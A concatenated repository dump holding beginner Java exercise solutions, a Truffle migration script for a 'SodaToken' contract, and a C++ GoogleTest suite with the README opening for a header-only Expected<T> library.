int n=in.nextInt();
int ar[]=new int[n];
int i,j;
for(i=0;i<n;i++)
{
ar[i]=in.nextInt();
}
int val=in.nextInt();
for(i=0;i<n-1;i++)
{
for(j=i+1;j<n;j++)
{
if(ar[i]+ar[j]==val)
{
System.out.println(ar[i]+", "+ar[j]);
}
}
}
}
}<file_sep>/Armstrong Number /Main.java
import java.util.Scanner;
import java.lang.Math;
class Main{
public static void main (String[] args){
// Type your code here
Scanner in = new Scanner(System.in);
int n=in.nextInt();
int k=0,m=n;
while(n>0)
{
k++;
n=n/10;
}
int i=1,sum=1,mo=0,add=0;
n=m;
while(n>0)
{
sum=1;
mo=n%10;
for(i=1;i<=k;i++)
{
sum=sum*mo;
}
add=add+sum;
n=n/10;
}
if(m==add)
{
System.out.println("Armstrong Number");
}
else
{
System.out.println("Not a Armstrong Number");
}
}
}<file_sep>/Counting the occurrence of a substring/Main.java
import java.util.Scanner;
class Main{
public static void main(String args[]) {
// Type your code here
String str;
Scanner in =new Scanner(System.in);
str=in.nextLine();
String str1=in.nextLine();
int l=str.length();
int l1=str1.length();
int i,j,ans=0,k=0;
for(i=0;i<l-l1+1;i++)
{
for(j=0;j<l1;j++)
{
k=0;
if(str.charAt(i+j)!=str1.charAt(j))
{
k++;
break;
}
}
if(k==0)
{
ans++;
}
}
System.out.println(ans);
}
}<file_sep>/String Palindrome/Main.java
import java.util.Scanner;
class Main{
public static void main(String args[]) {
// Type your code here
Scanner in =new Scanner(System.in);
String str=in.nextLine();
int k=0;
StringBuilder sb=new StringBuilder("");
int i;
int n=str.length();
for(i=n-1;i>=0;i--)
{
sb.append(str.charAt(i));
}
for(i=0;i<n;i++)
{
k=0;
if(str.charAt(i)!=sb.charAt(i))
{
k=1;
break;
}
}
if(k!=0)
{
System.out.println("No");
}
else
{
System.out.println("Yes");
}
}
}<file_sep>/Finding the Maximum Contiguous 1's/Main.java
import java.util.Scanner;
public class Main
{
public static void main(String args[])
{
Scanner in = new Scanner(System.in);
int n=in.nextInt();
int a[]=new int[n];
int i,j=0;
for(i=0;i<n;i++)
{
a[i]=in.nextInt();
}
int b[]=new int[10];
for(i=0;i<n;i++)
{
b[i]=0;
}
j=0;
for(i=0;i<n;i++)
{
if(a[i]==0)
{
j++;
continue;
}
b[j]=b[j]+1;
}
int max=b[0];
for(i=0;i<10;i++)
{
if(b[j]>max)
{
max=b[j];
}
}
System.out.println(max);
}
}<file_sep>/Extrct second digit from the first/Main.java
import java.util.Scanner;
class Main
{
public static void main(String[] args)
{
Scanner in = new Scanner(System.in);
int n=in.nextInt();
int a=0;
while(n>10)
{
a=n%10;
n=n/10;
}
System.out.println(a);
}
}<file_sep>/Decrypting a character/Main.java
import java.util.Scanner;
public class Main{
public static void main(String args[]) {
// Type your code here
Scanner in = new Scanner(System.in);
char ch=in.next().charAt(0);
int n=in.nextInt();
int g=123;
int t=ch;
if(t>96&&t<123)
{
while(n>0)
{
if(t<=97)
{
ch=(char)(--g);
t--;
}
else
{
ch=(char)(--t);
}
n--;
}
}
else if(t>64&&t<=90)
{
while(n>0)
{
ch=(char)(--t);
n--;
}
}
System.out.println(ch);
}
}<file_sep>/Factorial of a number/Main.java
import java.util.Scanner;
class Main{
public static void main (String[] args){
// Type your code here
Scanner in = new Scanner(System.in);
int n=in.nextInt();
int i=1,s=1;
for(i=2;i<=n;i++)
{
s=s*i;
}
System.out.println(s);
}
}<file_sep>/Finding the Strictly increasing Subsequences/Main.java
import java.util.Scanner;
class Main
{
public static void main(String args[])
{
//your code here;
Scanner in = new Scanner(System.in);
int n=in.nextInt();
int a[]=new int[n];
int i;
for(i=0;i<n;i++)
{
a[i]=in.nextInt();
}
int j,k,ans=0;
for(i=0;i<n-1;i++)
{
k=0;
for(j=i+1;j<n;j++)
{
if(a[i] < a[j] && k==0)
{
k=1;
ans=a[j];
System.out.println(a[i]+","+a[j]);
}
else if(ans<a[j] && a[i]<a[j] && k==1)
{
System.out.println(a[i]+","+a[j]);
}
}
}
}
}<file_sep>/Square of a number using function/Main.java
import java.util.Scanner;
class Main
{
public static int sum(int s)
{
int k=s*s;
return k;
}
public static void main (String[] args)
{
// Type your code here
Scanner in = new Scanner(System.in);
int n=in.nextInt();
int a=sum(n);
System.out.println(a);
}
}<file_sep>/Finding the value of a number raised to a power/Main.java
import java.util.Scanner;
class Main
{
public static void main(String args[])
{
//Try your logic here
Scanner in = new Scanner(System.in);
int a=in.nextInt();
int b=in.nextInt();
int w=1;
while(b>0)
{
w=w*a;
b--;
}
System.out.println(w);
}
} | ae1cdccf33b48ff712f1ca70cc6ae3bb1526c758 | [
"Java"
] | 17 | Java | GurjeetSinghBansal/Playground | 2c4a6bcc4d6eed43db873278a48430e621e5e684 | 900cbee292e30945e9346ad251d8fb8f10520fa6 |
refs/heads/master | <repo_name>sodafintech5/SodaToken<file_sep>/migrations/2_deploy_contracts.js
var SodaToken = artifacts.require("SodaToken");
module.exports = function(deployer){
deployer.deploy(SodaToken);
}; | bfbe3831c8f508070eb43388a1c104383e79caee | [
"JavaScript"
] | 1 | JavaScript | sodafintech5/SodaToken | 9a07e0ac935827d5c65e7957e6c265348d065ec9 | 9c4a67372a52c3cbfb87e1ccbe833e1972a6b721 |
refs/heads/master | <repo_name>Zemnmez/unified-message-control<file_sep>/type-test.ts
/**
* This file is purely for typechecking and does not produce code
*/
import control from 'unified-message-control'
import unified, {Attacher} from 'unified'
import {Node} from 'unist'
// $ExpectError
control({})
control({
name: 'foo',
marker: (n: Node) => null,
test: 'html'
})
control({
name: 'foo',
marker: (n: Node) => null,
test: 'html',
known: ['rule-1', 'rule-2']
})
control({
name: 'foo',
marker: (n: Node) => null,
test: 'html',
sources: 'example'
})
control({
name: 'foo',
marker: (n: Node) => null,
test: 'html',
sources: ['one', 'two']
})
control({
name: 'foo',
marker: (n: Node) => null,
test: 'html',
reset: false,
disable: ['rule-id']
})
control({
name: 'foo',
marker: (n: Node) => null,
test: 'html',
reset: false,
// $ExpectError
enable: ['rule-id']
})
control({
name: 'foo',
marker: (n: Node) => null,
test: 'html',
reset: true,
enable: ['rule-id']
})
control({
name: 'foo',
marker: (n: Node) => null,
test: 'html',
reset: true,
// $ExpectError
disable: ['rule-id']
})
// $ExpectError
unified().use(control, {})
unified().use(control, {
name: 'foo',
marker: (n: Node) => null,
test: 'html'
})
unified().use(control, {
name: 'foo',
marker: (n: Node) => null,
test: 'html',
known: ['rule-1', 'rule-2']
})
unified().use(control, {
name: 'foo',
marker: (n: Node) => null,
test: 'html',
sources: 'example'
})
unified().use(control, {
name: 'foo',
marker: (n: Node) => null,
test: 'html',
sources: ['one', 'two']
})
unified().use(control, {
name: 'foo',
marker: (n: Node) => null,
test: 'html',
reset: false,
disable: ['rule-id']
})
unified().use(control, {
name: 'foo',
marker: (n: Node) => null,
test: 'html',
reset: false,
// $ExpectError
enable: ['rule-id']
})
unified().use(control, {
name: 'foo',
marker: (n: Node) => null,
test: 'html',
reset: true,
enable: ['rule-id']
})
unified().use(control, {
name: 'foo',
marker: (n: Node) => null,
test: 'html',
reset: true,
// $ExpectError
disable: ['rule-id']
})
<file_sep>/tsconfig.json
{
"compilerOptions": {
"lib": ["es2015"],
"strict": true,
"noEmit": true,
"esModuleInterop": true,
// this looks super weird, but baseUrl doesn't consider .
// a module so we have to explicitly tell it in paths...
"baseUrl": ".",
"paths": {
"unified-message-control": ["."]
}
}
} | f488e07a2cf60eb2593770ab9578ac50a394f376 | [
"TypeScript",
"JSON with Comments"
] | 2 | TypeScript | Zemnmez/unified-message-control | 86e56cb4e052ced066a148f5eb6403eced727890 | 54ce035f2021d014accb07188f9886ed557aa5c5 |
refs/heads/master | <repo_name>proxict/lib-expected<file_sep>/test/main.cpp
#include "lib-expected/expected.hpp"
#include <gmock/gmock.h>
#include <sstream>
#include <string>
using namespace libExpected;
struct A {};
struct B : A {};
class ExpectedTestAware : public ::testing::Test {
protected:
struct State {
bool ctor;
bool dtor;
bool copyAssigned;
bool copyCtor;
bool moveAssigned;
bool moveCtor;
State& operator=(bool state) {
ctor = state;
dtor = state;
copyAssigned = state;
copyCtor = state;
moveAssigned = state;
moveCtor = state;
return *this;
}
bool operator==(const bool v) const {
return ctor == v && dtor == v && copyAssigned == v && copyCtor == v && moveAssigned == v &&
moveCtor == v;
}
operator bool() const { return *this == true; }
State() { *this = false; }
};
class Aware final {
public:
Aware(State& state)
: mState(state) {
state.ctor = true;
}
~Aware() { mState.dtor = true; }
Aware(const Aware& other)
: mState(other.mState) {
mState.copyCtor = true;
}
Aware(Aware&& other)
: mState(other.mState) {
mState.moveCtor = true;
}
Aware& operator=(const Aware&) {
mState.copyAssigned = true;
return *this;
}
Aware& operator=(Aware&&) {
mState.moveAssigned = true;
return *this;
}
private:
State& mState;
};
virtual void SetUp() override { mState = false; }
virtual void TearDown() override { mState = false; }
State& getState() { return mState; }
const State& getState() const { return mState; }
private:
State mState;
};
template <typename TWhat, typename TFrom>
class IsImplicitlyConstructibleFrom {
static std::false_type test(...);
static std::true_type test(TWhat);
public:
static constexpr bool value = decltype(test(std::declval<TFrom>()))::value;
};
TEST_F(ExpectedTestAware, ctor) {
{
Expected<int> v(1);
EXPECT_TRUE(bool(v));
EXPECT_EQ(1, *v);
}
{
Expected<Aware> v(getState());
EXPECT_TRUE(bool(v));
EXPECT_TRUE(getState().ctor);
}
}
TEST_F(ExpectedTestAware, unexpected) {
{
Expected<Aware> v = makeUnexpected("unexpected");
EXPECT_FALSE(bool(v));
EXPECT_EQ("unexpected", v.error());
}
{
Expected<Aware, std::wstring> v = makeUnexpected(L"unexpected");
EXPECT_FALSE(bool(v));
EXPECT_EQ(L"unexpected", v.error());
}
{
Expected<Aware, int> v(makeUnexpected(0));
EXPECT_FALSE(bool(v));
}
{
Expected<Aware, std::ostringstream> v(makeUnexpected(std::string("")));
EXPECT_FALSE(bool(v));
}
EXPECT_FALSE(getState());
{
Unexpected<int> u(1);
EXPECT_EQ(u.value(), 1);
}
{
const Unexpected<int> u(1);
EXPECT_EQ(u.value(), 1);
}
EXPECT_EQ(Unexpected<int>(1).value(), 1);
}
TEST_F(ExpectedTestAware, copyCtor) {
Expected<Aware> a(getState());
EXPECT_TRUE(bool(a));
EXPECT_FALSE(getState().copyCtor);
EXPECT_FALSE(getState().copyAssigned);
EXPECT_FALSE(getState().moveCtor);
getState() = false;
Expected<Aware> b(a);
EXPECT_FALSE(getState().ctor);
EXPECT_FALSE(getState().copyAssigned);
EXPECT_TRUE(getState().copyCtor);
getState() = false;
const Expected<Aware> u(makeUnexpected(""));
Expected<Aware> c(u);
EXPECT_FALSE(getState().ctor);
EXPECT_FALSE(getState().copyAssigned);
EXPECT_FALSE(getState().copyCtor);
}
TEST_F(ExpectedTestAware, moveCtor) {
Expected<Aware> a(getState());
EXPECT_TRUE(bool(a));
EXPECT_FALSE(getState().copyCtor);
getState() = false;
Expected<Aware> b(std::move(a));
EXPECT_FALSE(getState().ctor);
EXPECT_FALSE(getState().copyCtor);
EXPECT_FALSE(getState().copyAssigned);
EXPECT_FALSE(getState().moveAssigned);
EXPECT_TRUE(getState().moveCtor);
getState() = false;
Expected<Aware> u(makeUnexpected(""));
Expected<Aware> c(std::move(u));
EXPECT_FALSE(getState().ctor);
EXPECT_FALSE(getState().copyCtor);
EXPECT_FALSE(getState().copyAssigned);
EXPECT_FALSE(getState().moveAssigned);
EXPECT_FALSE(getState().moveCtor);
}
TEST_F(ExpectedTestAware, copyAssign) {
{
const int v = 1;
Expected<int> vc(0);
vc = v;
EXPECT_TRUE(bool(vc));
EXPECT_EQ(*vc, 1);
}
{
const int v = 1;
Expected<int> vc(makeUnexpected(""));
vc = v;
EXPECT_TRUE(bool(vc));
EXPECT_EQ(*vc, 1);
}
{
Expected<int> v(makeUnexpected(""));
Expected<int> vc(0);
vc = v;
EXPECT_FALSE(bool(vc));
}
{
Expected<int> v(1);
Expected<int> vc(0);
vc = v;
EXPECT_TRUE(bool(vc));
EXPECT_EQ(*vc, 1);
}
{
Expected<int> v(1);
Expected<int> vc(makeUnexpected(""));
vc = v;
EXPECT_TRUE(bool(vc));
EXPECT_EQ(*vc, 1);
}
{
Expected<Aware> v(getState());
Expected<Aware> vc(getState());
vc = v;
EXPECT_TRUE(bool(vc));
EXPECT_FALSE(getState().moveCtor);
EXPECT_FALSE(getState().copyCtor);
EXPECT_TRUE(getState().copyAssigned);
}
{
getState() = false;
Expected<Aware, int> v(makeUnexpected(0));
Expected<Aware, int> vc(makeUnexpected(0));
EXPECT_FALSE(bool(v));
EXPECT_FALSE(bool(vc));
vc = v;
EXPECT_FALSE(bool(vc));
EXPECT_FALSE(getState());
}
{
getState() = false;
Expected<Aware, int> v(makeUnexpected(0));
Expected<Aware, int> vc(getState());
EXPECT_TRUE(bool(vc));
vc = v;
EXPECT_FALSE(bool(v));
EXPECT_FALSE(bool(vc));
EXPECT_FALSE(getState().copyCtor);
EXPECT_FALSE(getState().copyAssigned);
EXPECT_TRUE(getState().ctor);
EXPECT_TRUE(getState().dtor);
}
{
Expected<A*> a(makeUnexpected(""));
Expected<B*> b(nullptr);
a = b;
EXPECT_TRUE(a);
EXPECT_TRUE(b);
}
{
A ao;
Expected<A*> a(&ao);
Expected<B*> b(nullptr);
a = b;
EXPECT_TRUE(a);
EXPECT_TRUE(b);
}
{
Expected<A*> a(makeUnexpected("foo"));
Expected<B*> b(makeUnexpected("bar"));
a = b;
EXPECT_FALSE(a);
EXPECT_FALSE(b);
EXPECT_EQ(a.error(), "bar");
}
{
A ao;
Expected<A*> a(&ao);
Expected<B*> b(makeUnexpected("bar"));
a = b;
EXPECT_FALSE(a);
EXPECT_FALSE(b);
EXPECT_EQ(a.error(), "bar");
}
}
TEST_F(ExpectedTestAware, moveAssign) {
{
int v = 1;
Expected<int> vc(0);
vc = std::move(v);
EXPECT_TRUE(bool(vc));
EXPECT_EQ(*vc, 1);
}
{
int v = 1;
Expected<int> vc(makeUnexpected(""));
vc = std::move(v);
EXPECT_TRUE(bool(vc));
EXPECT_EQ(*vc, 1);
}
{
Expected<int> v(makeUnexpected(""));
Expected<int> vc(0);
vc = std::move(v);
EXPECT_FALSE(bool(vc));
}
{
Expected<int> v(1);
Expected<int> vc(0);
vc = std::move(v);
EXPECT_TRUE(bool(vc));
EXPECT_EQ(*vc, 1);
}
{
Expected<int> v(1);
Expected<int> vc(makeUnexpected(""));
vc = std::move(v);
EXPECT_TRUE(bool(vc));
EXPECT_EQ(*vc, 1);
}
{
Expected<Aware> v(getState());
Expected<Aware> vc(getState());
vc = std::move(v);
EXPECT_TRUE(bool(vc));
EXPECT_FALSE(getState().moveCtor);
EXPECT_FALSE(getState().copyCtor);
EXPECT_FALSE(getState().copyAssigned);
EXPECT_TRUE(getState().moveAssigned);
}
{
getState() = false;
Expected<Aware, int> v(makeUnexpected(0));
Expected<Aware, int> vc(makeUnexpected(0));
EXPECT_FALSE(bool(v));
EXPECT_FALSE(bool(vc));
vc = std::move(v);
EXPECT_FALSE(bool(vc));
EXPECT_FALSE(getState());
}
{
getState() = false;
Expected<Aware, int> v(makeUnexpected(0));
Expected<Aware, int> vc(getState());
EXPECT_TRUE(bool(vc));
vc = std::move(v);
EXPECT_FALSE(bool(v));
EXPECT_FALSE(bool(vc));
EXPECT_FALSE(getState().copyCtor);
EXPECT_FALSE(getState().copyAssigned);
EXPECT_FALSE(getState().moveCtor);
EXPECT_FALSE(getState().moveAssigned);
EXPECT_TRUE(getState().ctor);
EXPECT_TRUE(getState().dtor);
}
{
Expected<A*> a(makeUnexpected(""));
Expected<B*> b(nullptr);
a = std::move(b);
EXPECT_TRUE(a);
EXPECT_TRUE(b);
}
{
A ao;
Expected<A*> a(&ao);
Expected<B*> b(nullptr);
a = std::move(b);
EXPECT_TRUE(a);
EXPECT_TRUE(b);
}
{
Expected<A*> a(makeUnexpected("foo"));
Expected<B*> b(makeUnexpected("bar"));
a = std::move(b);
EXPECT_FALSE(a);
EXPECT_FALSE(b);
EXPECT_EQ(a.error(), "bar");
}
{
A ao;
Expected<A*> a(&ao);
Expected<B*> b(makeUnexpected("bar"));
a = std::move(b);
EXPECT_FALSE(a);
EXPECT_FALSE(b);
EXPECT_EQ(a.error(), "bar");
}
}
TEST(ExpectedTest, convertingCopyCtor) {
{
Expected<std::string> a("This is a test string");
Expected<std::ostringstream> b(a);
EXPECT_TRUE(bool(a));
EXPECT_TRUE(bool(b));
EXPECT_EQ(*a, b->str());
}
{
Expected<std::string> a(makeUnexpected(""));
Expected<std::ostringstream> b(a);
EXPECT_FALSE(bool(a));
EXPECT_FALSE(bool(b));
}
{
Expected<B*> a(nullptr);
Expected<A*> b(a);
EXPECT_TRUE(bool(a));
EXPECT_TRUE(bool(b));
}
{
Expected<B*> a(makeUnexpected(""));
Expected<A*> b(a);
EXPECT_FALSE(bool(a));
EXPECT_FALSE(bool(b));
}
}
TEST(ExpectedTest, convertingMoveCtor) {
{
Expected<std::string> a("This is a test string");
Expected<std::ostringstream> b(std::move(a));
EXPECT_TRUE(bool(a));
EXPECT_TRUE(bool(b));
EXPECT_EQ(*a, b->str());
}
{
Expected<std::string> a(makeUnexpected(""));
Expected<std::ostringstream> b(std::move(a));
EXPECT_FALSE(bool(a));
EXPECT_FALSE(bool(b));
}
{
Expected<B*> a(nullptr);
Expected<A*> b(std::move(a));
EXPECT_TRUE(bool(a));
EXPECT_TRUE(bool(b));
}
{
Expected<B*> a(makeUnexpected(""));
Expected<A*> b(std::move(a));
EXPECT_FALSE(bool(a));
EXPECT_FALSE(bool(b));
}
{
Expected<std::string> a(makeUnexpected(""));
std::string b("dog");
a = std::move(b);
EXPECT_TRUE(bool(a));
EXPECT_EQ(*a, "dog");
}
{
Expected<std::string> a("cat");
std::string b("dog");
a = std::move(b);
EXPECT_TRUE(bool(a));
EXPECT_EQ(*a, "dog");
}
}
TEST(ExpectedTest, inPlaceCtor) {
struct S {
S(int a_, int b_, std::string str_)
: a(a_)
, b(b_)
, str(std::move(str_)) {}
S(const S&) = delete;
S& operator=(const S&) = delete;
S(S&&) = delete;
S& operator=(S&&) = delete;
int a, b;
std::string str;
};
Expected<S> v(InPlace, 1, 2, "InPlace");
EXPECT_TRUE(bool(v));
EXPECT_EQ(v->a, 1);
EXPECT_EQ(v->b, 2);
EXPECT_EQ(v->str, "InPlace");
}
TEST(ExpectedTest, inPlaceInitializerList) {
Expected<std::string> v(InPlace, { 'a', 'b', 'c' });
EXPECT_TRUE(bool(v));
EXPECT_EQ(*v, "abc");
}
TEST(ExpectedTest, ctorValue) {
std::string s("Psycho");
Expected<std::string> v(s);
EXPECT_TRUE(bool(v));
EXPECT_EQ(*v, s);
}
TEST(ExpectedTest, ctorValueMove) {
std::string s("Psycho");
Expected<std::string> v(std::move(s));
EXPECT_TRUE(bool(v));
EXPECT_EQ(*v, std::string("Psycho"));
EXPECT_TRUE(s.empty());
}
TEST_F(ExpectedTestAware, assignUnexpected) {
Expected<Aware> a(getState());
EXPECT_TRUE(bool(a));
EXPECT_TRUE(getState().ctor);
EXPECT_FALSE(getState().dtor);
a = makeUnexpected("");
EXPECT_FALSE(bool(a));
EXPECT_TRUE(getState().dtor);
}
TEST_F(ExpectedTestAware, emplace) {
{
Expected<std::vector<int>> a(makeUnexpected(""));
a.emplace({ 1, 2, 3 });
EXPECT_TRUE(bool(a));
EXPECT_EQ(*a, std::vector<int>({ 1, 2, 3 }));
}
{
Expected<Aware, int> a(makeUnexpected(0));
EXPECT_FALSE(bool(a));
a.emplace(getState());
EXPECT_TRUE(bool(a));
EXPECT_TRUE(getState().ctor);
EXPECT_FALSE(getState().copyCtor);
EXPECT_FALSE(getState().moveCtor);
EXPECT_FALSE(getState().copyAssigned);
EXPECT_FALSE(getState().moveAssigned);
}
EXPECT_TRUE(getState().dtor);
}
TEST_F(ExpectedTestAware, swap) {
{
Expected<std::string> a("A");
Expected<std::string> b("B");
std::swap(a, b);
EXPECT_TRUE(bool(a));
EXPECT_TRUE(bool(b));
EXPECT_EQ(*a, "B");
EXPECT_EQ(*b, "A");
}
{
Expected<std::string> a(makeUnexpected("A"));
Expected<std::string> b(makeUnexpected("B"));
std::swap(a, b);
EXPECT_FALSE(bool(a));
EXPECT_FALSE(bool(b));
EXPECT_EQ(a.error(), "B");
EXPECT_EQ(b.error(), "A");
}
{
Expected<std::string> a("A");
Expected<std::string> b(makeUnexpected("unexpected"));
std::swap(a, b);
EXPECT_FALSE(bool(a));
EXPECT_TRUE(bool(b));
EXPECT_EQ(a.error(), "unexpected");
EXPECT_EQ(*b, "A");
}
{
Expected<std::string> a("A");
Expected<std::string> b(makeUnexpected("unexpected"));
std::swap(b, a);
EXPECT_FALSE(bool(a));
EXPECT_TRUE(bool(b));
EXPECT_EQ(a.error(), "unexpected");
EXPECT_EQ(*b, "A");
}
}
TEST(ExpectedTest, dereference) {
{
const Expected<int> v(1);
EXPECT_EQ(*v, 1);
}
{
int k = 1;
const Expected<int&> v(k);
EXPECT_EQ(*v, 1);
}
{
const Expected<std::string> v("abc");
EXPECT_EQ(v->size(), 3);
}
{
std::string k("abc");
const Expected<std::string&> v(k);
EXPECT_EQ(v->size(), 3);
}
{
std::string k("abc");
Expected<std::string&> v(k);
EXPECT_EQ(v->size(), 3);
}
}
TEST(ExpectedTest, dereferenceRvalue) {
EXPECT_EQ(*Expected<std::string>("psycho"), "psycho");
EXPECT_EQ(Expected<std::string>("psycho")->size(), 6);
}
TEST(ExpectedTest, hasValue) {
Expected<int> v(1);
EXPECT_TRUE(v.hasValue());
}
TEST(ExpectedTest, value) {
{
Expected<int> v(3);
EXPECT_EQ(v.value(), 3);
v.value() = 4;
EXPECT_EQ(v.value(), 4);
}
{
const Expected<int> v(5);
EXPECT_EQ(v.value(), 5);
}
{
int v = 5;
const Expected<int&> o(v);
EXPECT_EQ(o.value(), 5);
}
{
int v = 5;
Expected<int&> o(v);
EXPECT_EQ(o.value(), 5);
}
EXPECT_EQ(Expected<int>(1).value(), 1);
}
TEST(ExpectedTest, error) {
{
Expected<int> v(makeUnexpected("abc"));
EXPECT_EQ(v.error(), "abc");
}
{
const Expected<int> v(makeUnexpected("abc"));
EXPECT_EQ(v.error(), "abc");
}
EXPECT_EQ(Expected<int>(makeUnexpected("abc")).error(), "abc");
}
TEST(ExpectedTest, BadExpectedAccess) {
{
Expected<int> v(makeUnexpected(""));
EXPECT_THROW(v.value(), BadExpectedAccess);
}
{
const Expected<int> v(makeUnexpected(""));
EXPECT_THROW(v.value(), BadExpectedAccess);
}
{
Expected<int&> v(makeUnexpected(""));
EXPECT_THROW(v.value(), BadExpectedAccess);
}
{
const Expected<int&> v(makeUnexpected(""));
EXPECT_THROW(v.value(), BadExpectedAccess);
}
EXPECT_THROW(Expected<int>(makeUnexpected("")).value(), BadExpectedAccess);
EXPECT_THROW(Expected<int>(1).error(), BadExpectedAccess);
try {
Expected<int>(makeUnexpected("")).value();
} catch (const BadExpectedAccess& e) {
EXPECT_NE(e.what(), nullptr);
}
}
TEST(ExpectedTest, BadExpectedAccessError) {
{
Expected<int> v(1);
EXPECT_THROW(v.error(), BadExpectedAccess);
}
{
const Expected<int> v(1);
EXPECT_THROW(v.error(), BadExpectedAccess);
}
EXPECT_THROW(Expected<int>(1).error(), BadExpectedAccess);
}
TEST_F(ExpectedTestAware, moveFrom) {
Expected<Aware> a(getState());
Expected<Aware> b(std::move(a.value()));
EXPECT_TRUE(getState().moveCtor);
}
TEST(ExpectedTest, valueOr) {
Expected<int> a(5);
EXPECT_EQ(5, a.valueOr(3));
a = makeUnexpected("");
EXPECT_EQ(3, a.valueOr(3));
{
Expected<uint64_t> ov(makeUnexpected(""));
EXPECT_EQ(ov.valueOr(1), 1);
}
{
Expected<std::string> ov("abc");
EXPECT_EQ(ov.valueOr("def"), "abc");
}
{
int k = 42;
int v = 1;
Expected<int&> ov(k);
int& r = ov.valueOr(v);
EXPECT_EQ(42, r);
EXPECT_EQ(1, v);
r = 3;
EXPECT_EQ(3, k);
EXPECT_EQ(1, v);
}
{
const int k = 42;
const int v = 1;
Expected<const int&> ov(k);
const int& r = ov.valueOr(v);
EXPECT_EQ(42, r);
EXPECT_EQ(1, v);
const_cast<int&>(r) = 3;
EXPECT_EQ(3, k);
EXPECT_EQ(1, v);
}
{
int v = 1;
Expected<int&> ov(makeUnexpected(""));
int& r = ov.valueOr(v);
EXPECT_EQ(1, r);
EXPECT_EQ(1, v);
r = 3;
EXPECT_EQ(3, v);
}
{
const int v = 1;
Expected<const int&> ov(makeUnexpected(""));
const int& r = ov.valueOr(v);
EXPECT_EQ(1, r);
EXPECT_EQ(1, v);
const_cast<int&>(r) = 3;
EXPECT_EQ(3, v);
}
{
const B v;
Expected<const A&> ov(makeUnexpected(""));
const A& r = ov.valueOr(v);
(void)r;
}
{
B v;
Expected<A&> ov(makeUnexpected(""));
A& r = ov.valueOr(v);
(void)r;
}
}
TEST(ExpectedTest, equality) {
Expected<int> oN(makeUnexpected(""));
Expected<int> o0(0);
Expected<int> o1(1);
EXPECT_FALSE(o0 == o1);
EXPECT_TRUE(o0 != o1);
EXPECT_TRUE(o0 < o1);
EXPECT_FALSE(o0 > o1);
EXPECT_TRUE(o0 <= o1);
EXPECT_FALSE(o0 >= o1);
EXPECT_FALSE(o1 == 0);
EXPECT_FALSE(0 == o1);
EXPECT_TRUE(o1 != 0);
EXPECT_TRUE(0 != o1);
EXPECT_TRUE(oN < 0);
EXPECT_TRUE(oN < 1);
EXPECT_FALSE(o0 < 0);
EXPECT_TRUE(o0 < 1);
EXPECT_FALSE(o1 < 0);
EXPECT_FALSE(o1 < 1);
EXPECT_FALSE(oN >= 0);
EXPECT_FALSE(oN >= 1);
EXPECT_TRUE(o0 >= 0);
EXPECT_FALSE(o0 >= 1);
EXPECT_TRUE(o1 >= 0);
EXPECT_TRUE(o1 >= 1);
EXPECT_FALSE(oN > 0);
EXPECT_FALSE(oN > 1);
EXPECT_FALSE(o0 > 0);
EXPECT_FALSE(o0 > 1);
EXPECT_TRUE(o1 > 0);
EXPECT_FALSE(o1 > 1);
EXPECT_TRUE(oN <= 0);
EXPECT_TRUE(oN <= 1);
EXPECT_TRUE(o0 <= 0);
EXPECT_TRUE(o0 <= 1);
EXPECT_FALSE(o1 <= 0);
EXPECT_TRUE(o1 <= 1);
EXPECT_TRUE(0 < o1);
EXPECT_TRUE(0 > oN);
EXPECT_TRUE(1 > oN);
EXPECT_FALSE(0 > o0);
EXPECT_TRUE(1 > o0);
EXPECT_FALSE(0 > o1);
EXPECT_FALSE(1 > o1);
EXPECT_TRUE(0 >= oN);
EXPECT_FALSE(0 <= oN);
EXPECT_FALSE(1 <= oN);
EXPECT_TRUE(0 <= o0);
EXPECT_FALSE(1 <= o0);
EXPECT_TRUE(0 <= o1);
EXPECT_TRUE(1 <= o1);
EXPECT_FALSE(makeUnexpected("") == o1);
EXPECT_TRUE(o1 != makeUnexpected(""));
EXPECT_TRUE(makeUnexpected("") != o1);
EXPECT_FALSE(o1 < makeUnexpected(""));
EXPECT_TRUE(makeUnexpected("") < o1);
EXPECT_FALSE(o1 <= makeUnexpected(""));
EXPECT_TRUE(makeUnexpected("") <= o1);
EXPECT_TRUE(o1 > makeUnexpected(""));
EXPECT_FALSE(makeUnexpected("") > o1);
EXPECT_TRUE(o1 >= makeUnexpected(""));
EXPECT_FALSE(makeUnexpected("") >= o1);
}
TEST(ExpectedTest, references) {
int v = 1;
Expected<int&> ev(v);
EXPECT_EQ(1, *ev);
v = 3;
EXPECT_EQ(3, *ev);
}
TEST(ExpectedTest, implicitConstructionFromReference) {
#define MY_EXPECT_TRUE(...) EXPECT_TRUE(([&]() { return __VA_ARGS__; }()))
#define MY_EXPECT_FALSE(...) EXPECT_FALSE(([&]() { return __VA_ARGS__; }()))
MY_EXPECT_TRUE(IsImplicitlyConstructibleFrom<Expected<const A&>, A>::value);
MY_EXPECT_TRUE(IsImplicitlyConstructibleFrom<Expected<const A&>, A&>::value);
MY_EXPECT_TRUE(IsImplicitlyConstructibleFrom<Expected<const A&>, const A>::value);
MY_EXPECT_TRUE(IsImplicitlyConstructibleFrom<Expected<const A&>, const A&>::value);
MY_EXPECT_FALSE(IsImplicitlyConstructibleFrom<Expected<A&>, A>::value);
MY_EXPECT_FALSE(IsImplicitlyConstructibleFrom<Expected<A&>, const A>::value);
MY_EXPECT_FALSE(IsImplicitlyConstructibleFrom<Expected<A&>, const A&>::value);
MY_EXPECT_TRUE(IsImplicitlyConstructibleFrom<Expected<const B&>, B&>::value);
MY_EXPECT_TRUE(IsImplicitlyConstructibleFrom<Expected<const A&>, B&>::value);
MY_EXPECT_FALSE(IsImplicitlyConstructibleFrom<Expected<const B&>, A&>::value);
#undef MY_EXPECT_TRUE
#undef MY_EXPECT_FALSE
}
TEST(ExpectedTest, hash) {
Expected<int> v(3);
EXPECT_EQ(std::hash<Expected<int>>{}(v), std::hash<int>{}(3));
}
TEST(ExpectedTest, usage) {
struct S {
Expected<int> get(const bool b) {
if (b) {
return 1;
} else {
return makeUnexpected("unexpected");
}
}
Expected<std::string> getStr(const std::string& str) { return str; }
};
S s;
{
const Expected<int> res = s.get(true);
EXPECT_TRUE(bool(res));
}
{
const Expected<int> res = s.get(false);
EXPECT_FALSE(bool(res));
}
{
const Expected<std::string> res = s.getStr("test");
EXPECT_TRUE(bool(res));
EXPECT_EQ("test", *res);
}
}
int main(int argc, char** argv) {
::testing::InitGoogleMock(&argc, argv);
::testing::FLAGS_gtest_death_test_style = "threadsafe";
return RUN_ALL_TESTS();
}
<file_sep>/README.md
 
lib-expected
------------
This library provides an `Expected` type - wrapper for representing an expected object which may either contain an initialized value or an error.
Also, this implementation allows storing references:
```c++
int k = 3;
